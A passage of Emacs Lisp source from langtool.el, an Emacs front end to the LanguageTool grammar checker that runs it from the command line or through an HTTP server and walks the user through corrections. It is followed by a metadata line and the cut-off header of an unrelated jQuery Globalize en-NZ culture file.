(lambda (ov)
(delete-overlay ov))
(langtool--overlays-region (point-min) (point-max))))
(defun langtool--overlays-region (start end)
(sort
(remove
nil
(mapcar
(lambda (ov)
(when (overlay-get ov 'langtool-message)
ov))
(overlays-in start end)))
(lambda (ov1 ov2)
(< (overlay-start ov1) (overlay-start ov2)))))
(defun langtool--current-error-overlays ()
(remove nil
(mapcar
(lambda (ov)
(and (overlay-get ov 'langtool-message)
ov))
(overlays-at (point)))))
(defun langtool--expire-buffer-overlays ()
(mapc
(lambda (o)
(unless (overlay-get o 'face)
(delete-overlay o)))
(langtool--overlays-region (point-min) (point-max))))
(defun langtool--erase-overlay (ov)
(overlay-put ov 'face nil))
(defun langtool--next-overlay (current overlays)
(cl-loop for o in (cdr (memq current overlays))
if (overlay-get o 'face)
return o))
(defun langtool--prev-overlay (current overlays)
(cl-loop for o in (cdr (memq current (reverse overlays)))
if (overlay-get o 'face)
return o))
(defun langtool--goto-error (overlays predicate)
(catch 'done
(mapc
(lambda (ov)
(when (funcall predicate ov)
(goto-char (overlay-start ov))
(throw 'done t)))
overlays)
nil))
(defun langtool-working-p ()
(cl-loop with current = (current-buffer)
for buf in (buffer-list)
when (and (not (eq buf current))
(with-current-buffer buf
(langtool--overlays-region
(point-min) (point-max))))
return buf
finally return nil))
;;
;; utility
;;
(defun langtool-simple-error-message (overlays)
"Textify error messages as long as simple."
(mapconcat
(lambda (ov)
(format
"[%s] %s%s"
(overlay-get ov 'langtool-rule-id)
(overlay-get ov 'langtool-simple-message)
(if (overlay-get ov 'langtool-suggestions)
(concat
" -> ("
(mapconcat 'identity (overlay-get ov 'langtool-suggestions) ", ")
")")
"")))
overlays "\n"))
(defun langtool-details-error-message (overlays)
"Textify error messages."
(mapconcat
(lambda (ov)
(concat
(format "Rule ID: %s\n"
(overlay-get ov 'langtool-rule-id))
(format "Message: %s\n"
(overlay-get ov 'langtool-simple-message))
(if (overlay-get ov 'langtool-suggestions)
(concat
"Suggestions: "
(mapconcat
'identity
(overlay-get ov 'langtool-suggestions)
"; "))
"")))
overlays
"\n\n"))
(defun langtool--current-error-messages ()
(mapcar
(lambda (ov)
(overlay-get ov 'langtool-message))
(langtool--current-error-overlays)))
;;;
;;; LanguageTool Process
;;;
;;
;; Process basic
;;
(defmacro langtool--with-java-environ (&rest form)
`(let ((coding-system-for-read langtool-process-coding-system))
(progn ,@form)))
(defun langtool--process-file-name (path)
"Correct the file name depending on the underlying platform.
PATH: The file-name path to be corrected.
Currently corrects the file-name-path when running under Cygwin."
(setq path (expand-file-name path))
(cond
((eq system-type 'cygwin)
;; no need to catch error. (e.g. cygpath is not found)
;; this failure means LanguageTools is not working completely.
(with-temp-buffer
(call-process "cygpath" nil t nil "--windows" path)
(langtool--chomp (buffer-string))))
(t
path)))
(defcustom langtool-process-coding-system
(cond
((eq system-type 'cygwin)
'dos)
(t nil))
"LanguageTool process coding-system.
Ordinary no need to change this."
:group 'langtool
:type 'coding-system)
(defun langtool--custom-arguments (var)
(let ((value (symbol-value var))
args)
(cond
((functionp value)
(setq args (funcall value)))
((consp value)
(setq args value)))
(copy-sequence args)))
;;
;; Command interaction
;;
(defun langtool--disabled-rules ()
(let ((custom langtool-disabled-rules)
(locals langtool-local-disabled-rules))
(cond
((stringp custom)
(mapconcat 'identity
(cons custom locals)
","))
(t
(mapconcat 'identity
(append custom locals)
",")))))
(defun langtool--basic-command&args ()
(cond
(langtool-bin
(list langtool-bin nil))
(t
(let (command args)
(setq command langtool-java-bin)
;; Construct arguments pass to java command
(setq args (langtool--custom-arguments 'langtool-java-user-arguments))
(cond
(langtool-java-classpath
(setq args (append
args
(list "-cp" langtool-java-classpath
"org.languagetool.commandline.Main")))
(list command args))
(langtool-language-tool-jar
(setq args (append
args
(list "-jar" (langtool--process-file-name langtool-language-tool-jar))))
(list command args))
(t nil))))))
(defun langtool--process-create-client-buffer ()
(generate-new-buffer " *Langtool* "))
(defun langtool--sentence-to-fuzzy (sentence)
(mapconcat 'regexp-quote
;; this sentence is reported by LanguageTool
(split-string sentence " +")
;; LanguageTool interpreted newline as space.
"[[:space:]\n]+?"))
(defun langtool--pointed-length (message)
(or
(and (string-match "\n\\( *\\)\\(\\^+\\)" message)
(length (match-string 2 message)))
;; never through here, but if return nil from this function make stop everything.
1))
;;FIXME sometimes LanguageTool reports wrong column.
(defun langtool--pointed-context-regexp (message)
(when (string-match "\\(.*\\)\n\\( *\\)\\(\\^+\\)" message)
(let* ((msg1 (match-string 1 message))
;; calculate marker "^" start at column
(pre (length (match-string 2 message)))
;; "^" marker length
(len (length (match-string 3 message)))
(end (+ pre len))
(sentence (substring msg1 pre end))
(regexp (cond
((string-match "^[[:space:]]+$" sentence)
;; invalid sentence only have whitespace,
;; search with around sentence.
(concat
"\\("
(let* ((count (length sentence))
(spaces (format "[[:space:]\n]\\{%d\\}" count)))
spaces)
"\\)"
;; considered truncated spaces that is caused by
;; `langtool--sentence-to-fuzzy'
"[[:space:]]*?"
;; to match the correct block
;; suffix of invalid spaces.
(langtool--sentence-to-fuzzy
(let ((from (min end (length msg1))))
;;TODO magic number.
(substring msg1 from (min (length msg1) (+ from 20)))))))
(t
(concat "\\("
(langtool--sentence-to-fuzzy sentence)
"\\)")))))
regexp)))
;;
;; Commandline / HTTP integration
;;
(defun langtool--checker-mode ()
;; NOTE: This priority is order by light weight.
(cond
((and langtool-http-server-host
langtool-http-server-port)
'http-client)
(langtool-language-tool-server-jar
'client-server)
((or langtool-language-tool-jar
langtool-java-classpath
langtool-bin)
'commandline)
(t
(error "There is no valid setting."))))
(defun langtool--apply-checks (proc checks)
(let ((source (process-get proc 'langtool-source-buffer))
(version (process-get proc 'langtool-jar-version))
(begin (process-get proc 'langtool-region-begin))
(finish (process-get proc 'langtool-region-finish)))
(when (buffer-live-p source)
(with-current-buffer source
(save-excursion
(save-restriction
(when (and begin finish)
(narrow-to-region begin finish))
(mapc
(lambda (check)
(langtool--create-overlay version check))
(nreverse checks))))))))
(defun langtool--lazy-apply-checks (proc version checks)
(let ((source (process-get proc 'langtool-source-buffer))
(begin (process-get proc 'langtool-region-begin))
(finish (process-get proc 'langtool-region-finish)))
(when (buffer-live-p source)
(with-current-buffer source
(save-excursion
(save-restriction
(when (and begin finish)
(narrow-to-region begin finish))
(cond
((consp checks)
(langtool--create-overlay version (car checks))
(run-with-idle-timer
1 nil 'langtool--lazy-apply-checks
proc version (cdr checks)))
(t
(let ((source (process-get proc 'langtool-source-buffer)))
(langtool--check-finish source nil))))))))))
(defun langtool--check-finish (source errmsg)
(let (marks face)
(when (buffer-live-p source)
(with-current-buffer source
(setq marks (langtool--overlays-region (point-min) (point-max)))
(setq face (cond
(errmsg
compilation-error-face)
(marks
compilation-warning-face)
(t
compilation-info-face)))
(setq langtool-buffer-process nil)
(setq langtool-mode-line-process
(propertize ":exit" 'face face))
(cond
(errmsg
(message "%s" errmsg))
(marks
(run-hooks 'langtool-error-exists-hook)
(message "%s"
(substitute-command-keys
"Type \\[langtool-correct-buffer] to correct buffer.")))
(t
(run-hooks 'langtool-noerror-hook)
(message "LanguageTool successfully finished with no error.")))))))
;;
;; LanguageTool Commandline
;;
(defun langtool-command--check-command ()
(cond
(langtool-bin
(unless (executable-find langtool-bin)
(error "LanguageTool command not executable")))
((or (null langtool-java-bin)
(not (executable-find langtool-java-bin)))
(error "java command is not found")))
(cond
(langtool-java-classpath)
(langtool-language-tool-jar
(unless (file-readable-p langtool-language-tool-jar)
(error "langtool jar file is not readable"))))
(when langtool-buffer-process
(error "Another process is running")))
;; Create utf-8-unix temporary file if need. This coding-system is
;; troubleless, I think.
(defun langtool-command--maybe-create-temp-file (&optional begin finish)
(let* ((file (buffer-file-name))
(cs buffer-file-coding-system)
(cs-base (coding-system-base cs))
custom-cs)
(unless langtool-temp-file
(setq langtool-temp-file (langtool--make-temp-file)))
;; create temporary file to pass the text contents to LanguageTool
(when (or (null file)
(buffer-modified-p)
(and begin finish)
;; 1 is dos EOL style, this must convert to unix
;; dos (CR-LF) style EOL may destroy position of marker.
(eq (coding-system-eol-type cs) 1)
;; us-ascii is included in utf-8
(and (not (coding-system-equal cs-base 'us-ascii))
(not (coding-system-equal cs-base 'utf-8))))
(save-restriction
(widen)
(let ((coding-system-for-write 'utf-8-unix))
;; BEGIN nil means entire buffer
(write-region begin finish langtool-temp-file nil 'no-msg))
(setq file langtool-temp-file)))
file))
(defun langtool-command--invoke-process (file begin finish &optional lang)
(let ((version (langtool--jar-version)))
(cl-destructuring-bind (command args)
(langtool--basic-command&args)
;; Construct arguments pass to jar file.
;; http://wiki.languagetool.org/command-line-options
(setq args (append
args
(list
"-d" (langtool--disabled-rules))))
(cond
((stringp (or lang langtool-default-language))
(setq args (append args (list "-l" (or lang langtool-default-language)))))
(t
(setq args (append args (list "--autoDetect")))))
(when langtool-mother-tongue
(setq args (append args (list "-m" langtool-mother-tongue))))
(setq args (append args (langtool--custom-arguments 'langtool-user-arguments)))
(setq args (append args (list (langtool--process-file-name file))))
(langtool--debug "Command" "%s: %s" command args)
(let* ((buffer (langtool--process-create-client-buffer))
(proc (langtool--with-java-environ
(apply 'start-process "LanguageTool" buffer command args))))
(set-process-filter proc 'langtool-command--process-filter)
(set-process-sentinel proc 'langtool-command--process-sentinel)
(process-put proc 'langtool-source-buffer (current-buffer))
(process-put proc 'langtool-region-begin begin)
(process-put proc 'langtool-region-finish finish)
(process-put proc 'langtool-jar-version version)
proc))))
(defun langtool-command--process-filter (proc event)
(langtool--debug "Filter" "%s" event)
(with-current-buffer (process-buffer proc)
(goto-char (point-max))
(insert event)
(let ((min (or (process-get proc 'langtool-process-done)
(point-min)))
checks)
(goto-char min)
(while (re-search-forward langtool-output-regexp nil t)
(let* ((line (string-to-number (match-string 1)))
(column (1- (string-to-number (match-string 2))))
(rule-id (match-string 3))
(suggest (match-string 5))
(msg1 (match-string 4))
;; rest of line. Point the raw message.
(msg2 (match-string 6))
(message
(concat "Rule ID: " rule-id "\n"
msg1 "\n\n"
msg2))
(suggestions (and suggest (split-string suggest "; ")))
(context (langtool--pointed-context-regexp msg2))
(len (langtool--pointed-length msg2)))
(setq checks (cons
(list line column len suggestions
msg1 message rule-id context)
checks))))
(process-put proc 'langtool-process-done (point))
(langtool--apply-checks proc checks))))
(defun langtool-command--process-sentinel (proc event)
(langtool--debug "Sentinel" "event: %s" event)
(unless (process-live-p proc)
(let ((code (process-exit-status proc))
(pbuf (process-buffer proc))
(source (process-get proc 'langtool-source-buffer))
dead marks errmsg face)
(cond
((buffer-live-p pbuf)
(when (/= code 0)
;; Get first line of output.
(with-current-buffer pbuf
(goto-char (point-min))
(setq errmsg
(format "LanguageTool exited abnormally with code %d (%s)"
code (buffer-substring (point) (point-at-eol))))))
(kill-buffer pbuf))
(t
(setq errmsg "Buffer was dead")))
(langtool--check-finish source errmsg))))
;;;
;;; Adapter for internal/external server
;;;
(defvar langtool-adapter--plist nil)
(defun langtool-adapter-ensure-internal (process)
(setq langtool-adapter--plist
(cons 'internal
(list
'process process
'finalizer `(lambda () (langtool-server-ensure-stop ,process))
'host (process-get process 'langtool-server-host)
'port (process-get process 'langtool-server-port)))))
(defun langtool-adapter-ensure-external ()
(setq langtool-adapter--plist
(cons 'external
(list
'host langtool-http-server-host
'port langtool-http-server-port
'stream-type langtool-http-server-stream-type))))
(defun langtool-adapter-get (key)
(plist-get (cdr langtool-adapter--plist) key))
(defun langtool-adapter-ensure-terminate ()
(when langtool-adapter--plist
(let ((finalizer (langtool-adapter-get 'finalizer)))
(when finalizer
(funcall finalizer)))
(setq langtool-adapter--plist nil)))
;;
;; LanguageTool HTTP Server <-> Client
;;
(defun langtool-server--check-command ()
(cond
((or (null langtool-java-bin)
(not (executable-find langtool-java-bin)))
(error "java command is not found")))
(unless langtool-language-tool-server-jar
(error "Please set `langtool-language-tool-server-jar'"))
(unless (file-readable-p langtool-language-tool-server-jar)
(error "languagetool-server jar file is not readable")))
(defun langtool-http-client-check-command ()
;; Currently no need to check command. Just HTTP post.
)
(defun langtool-server-ensure-stop (proc)
(when (processp proc)
(let ((buffer (process-buffer proc)))
(delete-process proc)
(when (buffer-live-p buffer)
(kill-buffer buffer)))))
(defun langtool-server--parse-initial-buffer ()
(save-excursion
(goto-char (point-min))
(cond
((re-search-forward (eval-when-compile
(concat
"Starting LanguageTool "
"\\([0-9.]+\\)\\(?:-SNAPSHOT\\)? "
".+?"
"server on https?://\\([^:]+\\):\\([0-9]+\\)"
"\\.\\.\\."
"$"))
nil t))
(t
(error "Unable parse initial buffer")))
(let ((version (match-string 1))
(host (match-string 2))
(port (string-to-number (match-string 3))))
(list version host port))))
(defun langtool-server--rendezvous (proc buffer)
(message "Waiting for server")
(catch 'rendezvous
(with-current-buffer buffer
(save-excursion
(while t
(goto-char (point-min))
(when (re-search-forward "Server started" nil t)
(cl-destructuring-bind (version host port)
(langtool-server--parse-initial-buffer)
(when (version< version "4.0")
(langtool-server-ensure-stop proc)
(error "LanguageTool Server version must be than 4.0 but now %s"
version))
(process-put proc 'langtool-server-host host)
(process-put proc 'langtool-server-port port)
(message "%s done." (current-message))
(throw 'rendezvous t)))
(unless (eq (process-status proc) 'run)
(langtool-server-ensure-stop proc)
(error "Failed to start LanguageTool Server."))
(message "%s." (current-message))
(accept-process-output proc 0.1 nil t))))))
(defvar langtool-server--process-exit-hook nil)
(defun langtool-server--process-sentinel (proc event)
(langtool--debug "Sentinel" "event: %s" event)
(unless (process-live-p proc)
(run-hooks 'langtool-server--process-exit-hook)))
(defun langtool-server--ensure-running ()
(langtool-server--check-command)
(unless (let ((proc (langtool-adapter-get 'process)))
(and (processp proc)
(eq (process-status proc) 'run)))
;; Force terminate previous server process if exists.
(langtool-adapter-ensure-terminate)
(let* ((bin langtool-java-bin)
(args '()))
;; jar Default setting is "HTTPSServer" .
;; This application no need to use SSL since local app.
;; http://wiki.languagetool.org/http-server
(setq args (append args (list
"-cp" (langtool--process-file-name
langtool-language-tool-server-jar))))
(setq args (append args (list "org.languagetool.server.HTTPServer")))
(setq args (append args langtool-server-user-arguments))
(langtool--debug "HTTPServer" "%s: %s" bin args)
(let* ((buffer (get-buffer-create " *LangtoolHttpServer* "))
(proc (apply
'start-process
"LangtoolHttpServer" buffer
bin
args)))
(langtool-server--rendezvous proc buffer)
(set-process-sentinel proc 'langtool-server--process-sentinel)
(langtool-adapter-ensure-internal proc)
proc))))
(defun langtool-client--parse-response-body/json ()
(let* ((json (json-read))
(matches (cdr (assq 'matches json)))
(software (cdr (assq 'software json)))
(version (cdr (assq 'version software)))
checks)
(cl-loop for match across matches
do (let* ((offset (cdr (assoc 'offset match)))
(len (cdr (assoc 'length match)))
(rule (cdr (assoc 'rule match)))
(rule-id (cdr (assoc 'id rule)))
(replacements (cdr (assoc 'replacements match)))
(suggestions (mapcar
(lambda (x) (cdr (assoc 'value x)))
replacements))
(msg1 (cdr (assoc 'message match)))
;; rest of line. Point the raw message.
(msg2 (cdr (assoc 'shortMessage match)))
(message
(concat "Rule ID: " rule-id "\n"
msg1 "\n\n"
msg2))
;; No need this value when json
(context nil)
line column)
(setq checks (cons
(list line column len suggestions
msg1 message rule-id context
offset)
checks))))
(setq checks (nreverse checks))
(list version checks)))
(defun langtool-client--parse-response-body (http-headers)
(let ((ct (cdr (assoc-string "content-type" http-headers t))))
(cond
((string= ct "application/json")
(langtool-client--parse-response-body/json))
(t
(error "Not a supported Content-Type %s" ct)))))
(defun langtool-client--process-sentinel (proc event)
(unless (process-live-p proc)
(let ((pbuf (process-buffer proc))
(source (process-get proc 'langtool-source-buffer))
errmsg version checks)
(with-current-buffer pbuf
(cl-destructuring-bind (status headers body-start)
(langtool-http--parse-response-header)
(goto-char body-start)
(cond
((= status 200)
(cl-destructuring-bind (ver result)
(langtool-client--parse-response-body headers)
(setq checks result)
(setq version ver)))
(t
(setq errmsg (buffer-substring-no-properties (point) (point-max)))))
(kill-buffer pbuf)))
;; after cleanup buffer.
(cond
(errmsg
(langtool--check-finish source errmsg))
(t
(langtool--lazy-apply-checks proc version checks))))))
(defun langtool-client--process-filter (proc event)
(langtool--debug "Filter" "%s" event)
(with-current-buffer (process-buffer proc)
(goto-char (point-max))
(insert event)))
(defun langtool-client--make-post-data (&optional begin finish lang)
(let* ((text (buffer-substring-no-properties (or begin (point-min)) (or finish (point-max))))
(disabled-rules (langtool--disabled-rules))
(language (cond
((stringp (or lang langtool-default-language))
(or lang langtool-default-language))
(t
"auto")))
(query `(
("language" ,language)
("text" ,text)
,@(and langtool-mother-tongue
`(("motherTongue" ,langtool-mother-tongue)))
("disabledRules" ,disabled-rules)
))
query-string)
(when (and langtool-client-filter-query-function
(functionp langtool-client-filter-query-function))
(setq query (funcall langtool-client-filter-query-function query)))
;; UTF-8 encoding if value is multibyte character
(setq query-string (url-build-query-string query))
query-string))
(defun langtool-client--http-post (data)
(let* ((host (langtool-adapter-get 'host))
(port (langtool-adapter-get 'port))
(buffer (langtool--process-create-client-buffer))
(url-path "/v2/check")
(client (let ((coding-system-for-write 'binary)
(coding-system-for-read 'utf-8-unix))
(open-network-stream
"LangtoolHttpClient" buffer host port
:type (or (langtool-adapter-get 'stream-type) 'plain)))))
(process-send-string
client
(concat
(format "POST %s HTTP/1.1\r\n" url-path)
(format "Host: %s:%d\r\n" host port)
(format "Content-length: %d\r\n" (length data))
(format "Content-Type: application/x-www-form-urlencoded\r\n")
(format "\r\n")
data))
(process-send-eof client)
client))
(defun langtool-client--invoke-process (&optional begin finish lang)
(let* ((data (langtool-client--make-post-data begin finish lang))
(proc (langtool-client--http-post data)))
(set-process-sentinel proc 'langtool-client--process-sentinel)
(set-process-filter proc 'langtool-client--process-filter)
(process-put proc 'langtool-source-buffer (current-buffer))
(process-put proc 'langtool-region-begin begin)
(process-put proc 'langtool-region-finish finish)
proc))
;;
;; HTTP or commandline interface caller
;;
(defun langtool--invoke-checker-process (&optional begin finish lang)
(when (listp mode-line-process)
(add-to-list 'mode-line-process '(t langtool-mode-line-message)))
;; clear previous check
(langtool--clear-buffer-overlays)
(let (proc)
(cl-ecase (langtool--checker-mode)
('commandline
;; Ensure adapter is closed. That has been constructed other checker-mode.
(langtool-adapter-ensure-terminate)
(let ((file (langtool-command--maybe-create-temp-file begin finish)))
(setq proc (langtool-command--invoke-process file begin finish lang))))
('client-server
(langtool-server--ensure-running)
(setq langtool-mode-line-server-process
(propertize ":server" 'face compilation-info-face))
(add-hook 'langtool-server--process-exit-hook
(lambda ()
(setq langtool-mode-line-server-process nil)))
(setq proc (langtool-client--invoke-process begin finish lang)))
('http-client
(langtool-adapter-ensure-terminate)
;; Construct new adapter each check.
;; Since maybe change customize variable in a Emacs session.
(langtool-adapter-ensure-external)
(setq proc (langtool-client--invoke-process begin finish lang))))
(setq langtool-buffer-process proc)
(setq langtool-mode-line-process
(propertize ":run" 'face compilation-info-face))
(setq langtool-mode-line-message
(list " "
"LT" ; LT <= LanguageTool shorthand
'langtool-mode-line-server-process
'langtool-mode-line-process))))
(defun langtool--cleanup-process ()
;; cleanup mode-line
(let ((cell (and (listp mode-line-process) ; Check type
(rassoc '(langtool-mode-line-message) mode-line-process))))
(when cell
(remq cell mode-line-process)))
(when (and langtool-buffer-process
(processp langtool-buffer-process))
;; TODO buffer killed, error. if process is local process (e.g. urllib)
(delete-process langtool-buffer-process))
(kill-local-variable 'langtool-buffer-process)
(kill-local-variable 'langtool-mode-line-message)
(kill-local-variable 'langtool-local-disabled-rules)
(langtool--clear-buffer-overlays)
(run-hooks 'langtool-finish-hook))
(defun langtool--check-command ()
(cl-ecase (langtool--checker-mode)
('commandline
(langtool-command--check-command))
('client-server
(langtool-server--check-command))
('http-client
(langtool-http-client-check-command))))
(defun langtool--brief-execute (langtool-args parser)
(pcase (langtool--basic-command&args)
(`(,command ,args)
;; Construct arguments pass to jar file.
(setq args (append args langtool-args))
(with-temp-buffer
(when (and command args
(executable-find command)
(= (langtool--with-java-environ
(apply 'call-process command nil t nil args) 0)))
(goto-char (point-min))
(funcall parser))))
(_
nil)))
(defun langtool--available-languages ()
(langtool--brief-execute
(list "--list")
(lambda ()
(let ((res '()))
(while (re-search-forward "^\\([^\s\t]+\\)" nil t)
(setq res (cons (match-string 1) res)))
(nreverse res)))))
(defun langtool--jar-version-string ()
(langtool--brief-execute
(list "--version")
(lambda ()
(langtool--chomp (buffer-string)))))
(defun langtool--jar-version ()
(let ((string (langtool--jar-version-string)))
(cond
((null string) nil)
((string-match "version \\([0-9.]+\\)" string)
(match-string 1 string))
(t
;; Unknown version, but should not raise error in this function.
"0.0"))))
;;
;; interactive correction
;;
(defun langtool--ignore-rule (rule overlays)
(cl-loop for ov in overlays
do (let ((r (overlay-get ov 'langtool-rule-id)))
(when (equal r rule)
(langtool--erase-overlay ov)))))
(defun langtool--correction (overlays)
(let ((conf (current-window-configuration)))
(unwind-protect
(let ((next (car overlays)))
(while (setq next (langtool--correction-loop next overlays))))
(langtool--expire-buffer-overlays)
(set-window-configuration conf)
(kill-buffer (langtool--correction-buffer)))))
(defun langtool--correction-loop (ov overlays)
(let* ((suggests (overlay-get ov 'langtool-suggestions))
(msg (overlay-get ov 'langtool-simple-message))
(alist (langtool--correction-popup msg suggests)))
(catch 'next
(while (progn
(goto-char (overlay-start ov))
(let (message-log-max)
(message (concat "C-h or ? for more options; "
"SPC to leave unchanged, "
"Digit to replace word")))
(let* ((echo-keystrokes) ; suppress echoing
(c (downcase (read-char)))
(pair (assq c alist)))
(cond
(pair
(let ((sug (nth 1 pair)))
;;TODO when region contains newline.
;; -> insert newline after suggestion.
(delete-region (overlay-start ov) (overlay-end ov))
(insert sug)
(langtool--erase-overlay ov))
nil)
((memq c '(?q))
(keyboard-quit))
((memq c '(?c))
(langtool--erase-overlay ov)
nil)
((memq c '(?e))
(message (substitute-command-keys
"Type \\[exit-recursive-edit] to finish the edit."))
(recursive-edit)
;; stay current cursor and wait next user command.
(throw 'next ov))
((memq c '(?i))
(let ((rule (overlay-get ov 'langtool-rule-id)))
(unless (member rule langtool-local-disabled-rules)
(setq langtool-local-disabled-rules
(cons rule langtool-local-disabled-rules)))
(langtool--ignore-rule rule overlays))
nil)
((memq c '(?\C-h ?\?))
(langtool--correction-help)
t)
((memq c '(?\d))
(throw 'next (langtool--prev-overlay ov overlays)))
((memq c '(?\s)) nil)
(t (ding) t)))))
;; next item
(langtool--next-overlay ov overlays))))
(defun langtool--correction-popup (msg suggests)
(let ((buf (langtool--correction-buffer)))
(delete-other-windows)
(let ((win (split-window)))
(set-window-buffer win buf))
(with-current-buffer buf
(let ((inhibit-read-only t))
(erase-buffer)
(insert msg "\n\n")
(cl-loop for s in suggests
for c across langtool--correction-keys
do (progn
(insert "(" c ") ")
(let ((start (point)))
(insert s)
;; colorize suggestion.
;; suggestion may contains whitespace.
(let ((ov (make-overlay start (point))))
(overlay-put ov 'face 'langtool-correction-face)))
(insert "\n"))
collect (list c s))))))
(defun langtool--correction-help ()
(let ((help-1 "[q/Q]uit correction; [c/C]lear the colorized text; ")
(help-2 "[i/I]gnore the rule over current session.")
(help-3 "[e/E]dit the buffer manually")
(help-4 "SPC skip; DEL move backward;")
)
(save-window-excursion
(unwind-protect
(let ((resize-mini-windows 'grow-only))
(select-window (minibuffer-window))
(erase-buffer)
(message nil)
;;(set-minibuffer-window (selected-window))
(enlarge-window 2)
(insert (concat help-1 "\n" help-2 "\n" help-3 "\n" help-4))
(sit-for 5))
(erase-buffer)))))
(defun langtool--correction-buffer ()
(get-buffer-create "*Langtool Correction*"))
;;
;; Misc UI
;;
(defun langtool--show-message-buffer (msg)
(let ((buf (get-buffer-create langtool-error-buffer-name)))
(with-current-buffer buf
(erase-buffer)
(insert msg))
(save-window-excursion
(display-buffer buf)
(let* ((echo-keystrokes)
(event (read-event)))
(setq unread-command-events (list event))))))
;;
;; initialize
;;
(defun langtool--guess-language ()
(let ((env (or (getenv "LANG")
(getenv "LC_ALL")))
(supported-langs (langtool--available-languages))
lang country mems)
(and env
(string-match "\\`\\(..\\)_\\(..\\)?" env)
(setq lang (downcase (match-string 1 env)))
(setq country (and (match-string 2 env)
(upcase (match-string 2 env)))))
(or
(and
lang country
(setq mems (member (format "%s-%s" lang country) supported-langs))
(car mems))
(and
lang
(setq mems (cl-member-if
(lambda (x) (string-match
(concat "\\`" (regexp-quote lang)) x))
supported-langs))
(car mems)))))
;;
;; autoshow message
;;
(defcustom langtool-autoshow-message-function
'langtool-autoshow-default-message
"Function with one argument which displaying error overlays reported by LanguageTool.
These overlays hold some useful properties:
`langtool-simple-message', `langtool-rule-id', `langtool-suggestions' .
`langtool-autoshow-default-message' is a default/sample implementations.
See the Commentary section for `popup' implementation."
:group 'langtool
:type '(choice
(const nil)
function))
(defcustom langtool-autoshow-idle-delay 0.5
"Number of seconds while idle time to wait before showing error message."
:group 'langtool
:type 'number)
(defvar langtool-autoshow--current-idle-delay nil)
(defvar langtool-autoshow--timer nil
"Hold idle timer watch every LanguageTool processed buffer.")
(defun langtool-autoshow-default-message (overlays)
;; Do not interrupt current message
(unless (current-message)
(let ((msg (langtool-simple-error-message overlays)))
(message "%s" msg))))
(defun langtool-autoshow--maybe ()
(when langtool-autoshow-message-function
(let ((delay (langtool-autoshow--idle-delay)))
(cond
((equal langtool-autoshow--current-idle-delay delay))
(t
(setq langtool-autoshow--current-idle-delay delay)
(timer-set-idle-time langtool-autoshow--timer
langtool-autoshow--current-idle-delay t))))
(condition-case err
(let ((error-overlays (langtool--current-error-overlays)))
(when error-overlays
(funcall langtool-autoshow-message-function error-overlays)))
(error
(message "langtool: %s" err)))))
(defun langtool-autoshow--idle-delay ()
(if (numberp langtool-autoshow-idle-delay)
langtool-autoshow-idle-delay
(default-value 'langtool-autoshow-idle-delay)))
(defun langtool-autoshow-ensure-timer ()
(unless (and (timerp langtool-autoshow--timer)
(memq langtool-autoshow--timer timer-idle-list))
(setq langtool-autoshow--timer
(run-with-idle-timer
(langtool-autoshow--idle-delay) t 'langtool-autoshow--maybe)))
(add-hook 'kill-buffer-hook 'langtool-autoshow-cleanup-timer-maybe nil t))
(defun langtool-autoshow-cleanup-timer-maybe ()
(unless (langtool-working-p)
(when (timerp langtool-autoshow--timer)
(cancel-timer langtool-autoshow--timer)
(setq langtool-autoshow--timer nil))))
;;;
;;; interactive commands
;;;
(defun langtool-read-lang-name ()
(let ((completion-ignore-case t)
(set
(append
'(("auto" . auto))
(or (mapcar 'list (langtool--available-languages))
(mapcar (lambda (x) (list (car x))) locale-language-names)))))
(let ((key (completing-read "Lang: " set)))
(or (cdr (assoc key set)) key))))
(defun langtool-goto-next-error ()
"Obsoleted function. Should use `langtool-correct-buffer'.
Go to next error."
(interactive)
(let ((overlays (langtool--overlays-region (point) (point-max))))
(langtool--goto-error
overlays
(lambda (ov) (< (point) (overlay-start ov))))))
(defun langtool-goto-previous-error ()
"Obsoleted function. Should use `langtool-correct-buffer'.
Goto previous error."
(interactive)
(let ((overlays (langtool--overlays-region (point-min) (point))))
(langtool--goto-error
(reverse overlays)
(lambda (ov) (< (overlay-end ov) (point))))))
(defun langtool-show-message-at-point ()
"Show error details at point."
(interactive)
(let ((ovs (langtool--current-error-overlays)))
(if (null ovs)
(message "No errors")
(let ((msg (langtool-details-error-message ovs)))
(langtool--show-message-buffer msg)))))
(defun langtool-show-brief-message-at-point ()
"Show error brief message at point."
(interactive)
(let ((msgs (langtool--current-error-messages)))
(if (null msgs)
(message "No errors")
(langtool--show-message-buffer
(mapconcat 'identity msgs "\n")))))
(defun langtool-check-done ()
"Finish LanguageTool process and cleanup existing colorized texts."
(interactive)
(langtool--cleanup-process)
(force-mode-line-update)
(message "Cleaned up LanguageTool."))
;;;###autoload
(defalias 'langtool-check 'langtool-check-buffer)
;;;###autoload
(defun langtool-check-buffer (&optional lang)
"Check context current buffer and light up errors.
Optional \\[universal-argument] read LANG name.
You can change the `langtool-default-language' to apply all session.
Restrict to selection when region is activated.
"
(interactive
(when current-prefix-arg
(list (langtool-read-lang-name))))
(langtool--check-command)
;; probablly ok...
(let* ((region-p (langtool-region-active-p))
(begin (and region-p (region-beginning)))
(finish (and region-p (region-end))))
(when region-p
(deactivate-mark))
(langtool--invoke-checker-process begin finish lang)
(force-mode-line-update)))
;;;###autoload
(defun langtool-switch-default-language (lang)
"Switch `langtool-default-language' to LANG"
(interactive (list (langtool-read-lang-name)))
(setq langtool-default-language lang)
(message "Now default language is `%s'" lang))
(defun langtool-correct-buffer ()
"Execute interactive correction after `langtool-check'"
(interactive)
(let ((ovs (langtool--overlays-region (point-min) (point-max))))
(if (null ovs)
(message "No error found. %s"
(substitute-command-keys
(concat
"Type \\[langtool-check-done] to finish checking "
"or type \\[langtool-check] to re-check buffer")))
(barf-if-buffer-read-only)
(langtool--correction ovs))))
(defun langtool-server-stop ()
"Terminate LanguageTool HTTP server."
(interactive)
(langtool-adapter-ensure-terminate)
(message "Server is terminated."))
(defun langtool-toggle-debug ()
"Toggle LanguageTool debugging."
(interactive)
(setq langtool--debug (not langtool--debug))
(if langtool--debug
(message "Langtool debug ON.")
(message "Langtool debug off.")))
;;;
;;; initialize
;;;
;; initialize custom variables guessed from environment.
(let ((mt (langtool--guess-language)))
(unless langtool-mother-tongue
(setq langtool-mother-tongue mt)))
(provide 'langtool)
;;; langtool.el ends here
| {
"pile_set_name": "Github"
} |
/*
* Globalize Culture en-NZ
*
* http://github.com/jquery/globalize
*
* Copyright Software Freedom Conservancy, Inc.
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* This file was generated by the Globalize Culture Generator
* Translation: bugs found in this file need to be fixed in the generator
*/
(function( window, undefined ) {
var Globalize;
if ( typeof require !== "undefined" &&
